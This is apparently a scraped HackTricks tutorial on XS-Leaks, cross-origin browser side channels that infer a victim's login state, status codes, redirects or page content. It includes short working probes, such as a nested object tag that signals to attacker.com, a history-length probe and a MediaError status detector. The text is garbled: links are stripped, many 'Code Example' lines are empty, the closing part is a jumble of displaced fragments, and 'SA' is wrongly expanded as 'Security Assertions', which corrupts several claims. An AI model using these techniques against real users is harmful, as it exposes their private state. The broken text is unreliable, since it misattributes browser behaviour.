  • Summary: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code.

The code example try lo load scripts objects from JS, but other tags such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the tag directly and declare the onload and onerror events inside the tag (instead of injecting it from JS).

There is also a script-less version of this attack:

<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

Onload Timing + Forced Heavy Task

This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.

unload/beforeunload Timing

  • Inclusion Methods: Frames

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

Sandboxed Frame Timing + onload

  • Inclusion Methods: Frames

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time.

  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • More info:

  • Summary: If the page is returning the sensitive content, or a content that can be controlled by the user. The user could set valid JS code in the negative case, an load each try inside <script> tags, so in negative cases attackers code is executed, and in affirmative cases nothing will be executed.

  • Code Example:

CORB - Onerror

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code & Headers

  • Summary: Cross-Origin Read Blocking (CORB) is a security measure that prevents web pages from loading certain sensitive cross-origin resources to protect against attacks like Spectre. However, attackers can exploit its protective behavior. When a response subject to CORB returns a CORB protected Content-Type with nosniff and a 2xx status code, CORB strips the response's body and headers. Attackers observing this can infer the combination of the status code (indicating success or error) and the Content-Type (denoting whether it's protected by CORB), leading to potential information leakage.

  • Code Example:

Check the more information link for more information about the attack.

onblur

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • Summary: Leak sensitive data from the id or name attribute.

It's possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists. You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page

  • Code Example: Any code listening for all postMessages.

Global Limits Techniques

WebSocket API

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • Summary: Exhausting the WebSocket connection limit leaks the number of WebSocket connections of a cross-origin page.

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: API Usage

  • Summary: Detect Payment Request because only one can be active at a time.

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

  • Inclusion Methods:

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • Summary: Measure execution time of a web abusing the single-threaded JS event loop.

  • Code Example:

In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Busy Event Loop

  • Inclusion Methods:

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • Summary: One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing how long it takes for the event loop to become available again. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript's event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread.

  • Code Example:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin's activities. This method does not rely on direct access to the other origin's data but rather observes the impact of that origin's activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Connection Pool

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.

  • Code Example:

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browser's socket limit, for instance, 256 global sockets.

  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.

  3. Employ the 256th socket to send a request to the target page.

  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page's socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • More info:

  • Summary: It's like the previous technique but instead of using all the sockets, Google Chrome puts a limit of 6 concurrent request to the same origin. If we block 5 and then launch a 6th request we can time it and if we managed to make the victim page send more requests to the same endpoint to detect a status of the page, the 6th request will take longer and we can detect it.

Performance API Techniques

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page's framing policies.

Error Leak

  • Inclusion Methods: Frames, HTML Elements

  • Detectable Difference: Status Code

  • Summary: A request that results in errors will not create a resource timing entry.

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code

  • Summary: Due to a browser bug, requests that result in errors are loaded twice.

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code

  • Summary: Requests that result in an error can not be merged.

Empty Page Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • Summary: Empty responses do not create resource timing entries.

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Page Content

  • Summary: Using the XSS Auditor in Security Assertions, attackers can detect specific webpage elements by observing alterations in responses when crafted payloads trigger the auditor's filtering mechanism.

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it's still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: Resource with X-Frame-Options header does not create resource timing entry.

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options. Same happens if you use an embed tag.

Download Detection

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: Downloads do not create resource timing entries in the Performance API.

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Redirect

  • Summary: Resource timing entry leaks the start time of a redirect.

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

  • Inclusion Methods: Fetch API

  • Detectable Difference: Redirect

  • Summary: The duration of timing entries is negative when a redirect occurs.

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: Resource protected with CORP do not create resource timing entries.

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

  • Inclusion Methods: Frames

  • Detectable Difference: API Usage

  • Summary: Detect if a service worker is registered for a specific origin.

  • Code Example:

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application. If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache. To detect if the resource was loaded from the service worker cache the Performance API can be used. This could also be done with a Timing attack (check the paper for more info).

Cache

  • Inclusion Methods: Fetch API

  • Detectable Difference: Timing

  • Summary: It is possible to check if a resource was stored in the cache.

Network Duration

  • Inclusion Methods: Fetch API

  • Detectable Difference: Page Content

  • Summary: It is possible to retrieve the network duration of a request from the performance API.

Error Messages Technique

Media Error

  • Inclusion Methods: HTML Elements (Video, Audio)

  • Detectable Difference: Status Code

  • Summary: In Firefox is possible to accurately leak a cross-origin request’s status code.

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
  document.getElementById("log").innerHTML += msg;
}

function startup() {
  let audioElement = document.getElementById("audio");
 // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
  document.getElementById("startTest").addEventListener("click", function() {
    audioElement.src = document.getElementById("testUrl").value;
  }, false);
  // Create the event handler
  var errHandler = function() {
    let err = this.error;    
    let message = err.message;
    let status = "";
    
    // Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
    // Firefox error.message when the request loads successfully: "Failed to init decoder"
    if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
      status = "Success";
    }else{
      status = "Error";
    }
    displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
  };
  audioElement.onerror = errHandler;
}

The MediaError interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.

CORS Error

  • Inclusion Methods: Fetch API

  • Detectable Difference: Header

  • Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.

This technique enables an attacker to extract the destination of a cross-origin site's redirect by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a CORS-enabled request is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the full URL of the redirect's target is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any sensitive query parameters it may contain.

SRI Error

  • Inclusion Methods: Fetch API

  • Detectable Difference: Header

  • Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.

An attacker can exploit verbose error messages to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be CORS-enabled; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately trigger this error by assigning a bogus hash value to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.

CSP Violation/Detection

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Status Code

  • Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.

A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect. Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.

Cache

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Page Content

  • Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.

  • Code Example:

Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.

If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.

CSP Directive

  • Inclusion Methods: Frames

  • Detectable Difference: Header

  • Summary: CSP header directives can be probed using the CSP iframe attribute, revealing policy details.

A novel feature in Google Chrome (GC) allows web pages to propose a Content Security Policy (CSP) by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must authorize this via an HTTP header, or an error page is displayed. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to detect specific CSP directives of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a new leak technique capable of detecting the error page, suggesting that the underlying problem was never fully addressed.

CORP

  • Inclusion Methods: Fetch API

  • Detectable Difference: Header

  • Summary: Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.

The CORP header is a relatively new web platform security feature that when set blocks no-cors cross-origin requests to the given resource. The presence of the header can be detected, because a resource protected with CORP will throw an error when fetched.

CORB

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Headers

  • Summary: CORB can allow attackers to detect when the nosniff header is present in the request.

Check the link for more information about the attack.

CORS error on Origin Reflection misconfiguration

  • Inclusion Methods: Fetch API

  • Detectable Difference: Headers

  • Summary: If the Origin header is reflected in the header Access-Control-Allow-Origin it's possible to check if a resource is in the cache already.

In case the Origin header is being reflected in the header Access-Control-Allow-Origin an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain). Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *) this won't work.

Readable Attributes Technique

Fetch Redirect

  • Inclusion Methods: Fetch API

  • Detectable Difference: Status Code

  • Summary: GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.

Submitting a request using the Fetch API with redirect: "manual" and other params, it's possible to read the response.type attribute and if it's equals to opaqueredirect then the response was a redirect.

COOP

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Header

  • Summary: Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.

An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the contentWindow reference. In scenarios where COOP is applied conditionally, the opener property becomes a telltale indicator: it's undefined when COOP is active, and defined in its absence.

URL Max Length - Server Side

  • Inclusion Methods: Fetch API, HTML Elements

  • Detectable Difference: Status Code / Content

  • Summary: Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.

If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.

SameSite=None or to be in the same context is usually needed for this type of attack.

URL Max Length - Client Side

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Status Code / Content

  • Summary: Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.

In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

Therefore if the redirect URL responded is larger in one of the cases, it's possible to make it redirect with a URL larger than 2MB to hit the length limit. When this happens, Chrome shows an about:blank#blocked page.

The noticeable difference, is that if the redirect was completed, window.origin throws an error because a cross origin cannot access that info. However, if the limit was **** hit and the loaded page was about:blank#blocked the window's origin remains that of the parent, which is an accessible information.

All the extra info needed to reach the 2MB can be added via a hash in the initial URL so it will be used in the redirect.

Max Redirects

  • Inclusion Methods: Fetch API, Frames

  • Detectable Difference: Status Code

  • Summary: User the browser's redirect limit to ascertain the occurrence of URL redirections.

If the max number of redirects to follow of a browser is 20, an attacker could try to load his page with 19 redirects and finally send the victim to the tested page. If an error is triggered, then the page was trying to redirect the victim.

History Length

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Redirects

  • Summary: JavaScript code manipulates the browser history and can be accessed by the length property.

The History API allows JavaScript code to manipulate the browser history, which saves the pages visited by a user. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation. Checking history.length, making a user navigate to a page, change it back to the same-origin and checking the new value of history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: If URL is the same as the guessed one

  • Summary: It's possible to guess if the location of a frame/popup is in an specific URL abusing the history length.

  • Code Example: Below

An attacker could use JavaScript code to manipulate the frame/pop-up location to a guessed one and immediately change it to about:blank. If the history length increased it means the URL was correct and it had time to increase because the URL isn't reloaded if it's the same. If it didn't increased it means it tried to load the guessed URL but because we immediately after loaded about:blank, the history length did never increase when loading the guessed url.

async function debug(win, url) {
    win.location = url + '#aaa';
    win.location = 'about:blank';
    await new Promise(r => setTimeout(r, 500));
    return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Page Content

  • Summary: Evaluate the quantity of iframe elements by inspecting the window.length property.

Counting the number of frames in a web opened via iframe or window.open might help to identify the status of the user over that page. Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.

HTMLElements

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Page Content

  • Summary: Read the leaked value to distinguish between 2 possible states

Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements.

Information Exposed by HTML Elements

CSS Property

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Page Content

  • Summary: Identify variations in website styling that correlate with the user's state or status.

Web applications may change website styling depending on the status of the use. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state. As a leak technique, the attacker can use the window.getComputedStyle method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.

CSS History

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Page Content

  • Summary: Detect if the :visited style is applied to an URL indicating it was already visited

The CSS :visited selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the getComputedStyle() method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the :visited selector.

Despite these restrictions, it's possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the mix-blend-mode property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction.

Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis.

For further details on these properties and methods, visit their documentation pages:

ContentDocument X-Frame Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Headers

  • Summary: In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions.

In Chrome, if a page with the X-Frame-Options header set to "deny" or "same-origin" is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of null) for the contentDocument property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user's state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks.

Download Detection

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Headers

  • Summary: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.

The Content-Disposition header, specifically Content-Disposition: attachment, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior:

  1. Download Bar Monitoring:

    • When a file is downloaded in Chromium-based browsers, a download bar appears at the bottom of the browser window.

    • By monitoring changes in the window height, attackers can infer the appearance of the download bar, suggesting that a download has been initiated.

  2. Download Navigation with Iframes:

    • When a page triggers a file download using the Content-Disposition: attachment header, it does not cause a navigation event.

    • By loading the content in an iframe and monitoring for navigation events, it's possible to check if the content disposition causes a file download (no navigation) or not.

  3. Download Navigation without Iframes:

    • Similar to the iframe technique, this method involves using window.open instead of an iframe.

    • Monitoring navigation events in the newly opened window can reveal whether a file download was triggered (no navigation) or if the content is displayed inline (navigation occurs).

In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user's authentication state based on the browser's response to the download request.

Partitioned HTTP Cache Bypass

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Timing

  • Summary: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.

If a site example.com includes a resource from *.example.com/resource then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.

Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached. Or could just send some fetch to the pontentially cached page and measure the time it takes.

Manual Redirect

  • Inclusion Methods: Fetch API

  • Detectable Difference: Redirects

  • Summary: It's possible to find out if a response to a fetch request is a redirect

  • Code Example:

Fetch with AbortController

  • Inclusion Methods: Fetch API

  • Detectable Difference: Timing

  • Summary: It's possible to try to load a resource and about before it's loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn't cached.

Use fetch and setTimeout with an AbortController to both detect whether the resource is cached and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content.

Script Pollution

  • Inclusion Methods: HTML Elements (script)

  • Detectable Difference: Page Content

  • Summary: It's possible to overwrite built-in functions and read their arguments which even from cross-origin script (which cannot be read directly), this might leak valuable information.

Service Workers

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Page Content

  • Summary: Measure execution time of a web using service workers.

  • Code Example:

In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically "attacker.com". Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.

Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.

In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Fetch Timing

  • Inclusion Methods: Fetch API

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

Cross-Window Timing

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

With HTML or Re Injection

Here you can find techniques to exfiltrate information from a cross-origin HTML injecting HTML content. These techniques are interesting in cases where for any reason you can inject HTML but you cannot inject JS code.

Dangling Markup

Image Lazy Loading

If you need to exfiltrate content and you can add HTML previous to the secret you should check the common dangling markup techniques. However, if for whatever reason you MUST do it char by char (maybe the communication is via a cache hit) you can use this trick.

Images in HTML has a "loading" attribute whose value can be "lazy". In that case, the image will be loaded when it's viewed and not while the page is loading:

<img src=/something loading=lazy >

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

However, you make the bot access the page with something like

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

What this text will do is to make the bot access any text in the page that contains the text SECR. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.

Image Lazy Loading Time Based

ReDoS

CSS ReDoS

If jQuery(location.hash) is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn't match it doesn't need to check the rest of the selectors:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

Defenses

References

Support HackTricks

Learn & practice AWS Hacking: Learn & practice GCP Hacking:

Check the !

Join the 💬 or the or follow us on Twitter 🐦 .

Share hacking tricks by submitting PRs to the and github repos.

HTML Elements: HTML offers various elements for cross-origin resource inclusion, like stylesheets, images, or scripts, compelling the browser to request a non-HTML resource. A compilation of potential HTML elements for this purpose can be found at .

XSinator is an automatic tool to check browsers against several know XS-Leaks explained in its paper:

You can access the tool in

Use to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Clocks: The API allows developers to get high-resolution timing measurements. There are a considerable number of APIs attackers can abuse to create implicit clocks: , , , , CSS animations, and others. For more info: .

More info: ,

Code example:

More info:

Summary: The API can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as which can identify tasks running for more than 50ms.

Code Example: another example in:

More info:

Summary: The can be used to measure how much time it takes to perform a request. Other clocks could be used.

Code Example:

The time taken to fetch a resource can be measured by utilizing the and events. The beforeunload event is fired when the browser is about to navigate to a new page, while the unload event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the duration the browser spent fetching the resource.

More info:

Summary: The API can be used to measure how much time it takes to perform a request. Other clocks could be used.

Code Example:

It has been observed that in the absence of , the time required for a page and its subresources to load over the network can be measured by an attacker. This measurement is typically possible because the onload handler of an iframe is triggered only after the completion of resource loading and JavaScript execution. To bypass the variability introduced by script execution, an attacker might employ the attribute within the <iframe>. The inclusion of this attribute restricts numerous functionalities, notably the execution of JavaScript, thereby facilitating a measurement that is predominantly influenced by network performance.

More info:

More info: ,

Code Example:

More info:

Applications frequently utilize to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not.

Use to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

More info: (5.1)

Code Example: ,

More info: (5.1)

Code Example:

More info:

JavaScript operates on a concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

More info:

More info:

For more info:

The offers insights into the performance metrics of web applications, further enriched by the . The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like or , providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from . However, it's worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

More info: (5.2)

Code Example:

More info: (5.2)

Code Example:

More info: (5.2)

Code Example:

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in

More info: (5.2)

Code Example:

More info: (5.2)

Code Example:

More info: (5.2), ,

Code Example:

More info: (5.2)

Code Example:

More info: (5.2)

Code Example:

More info: (5.2)

Code Example:

More info: (5.2)

Code Example:

More info:

More info:

Code Example: ,

Using the it's possible to check if a resource is cached.

More info:

Code Example:

More info:

Code Example:

More info: (5.3)

Code Example:

More info: (5.3)

Code Example:

More info: , ,

Code Example: ,

More info: ,

More info:

Code Example:

More info:

Code Example:

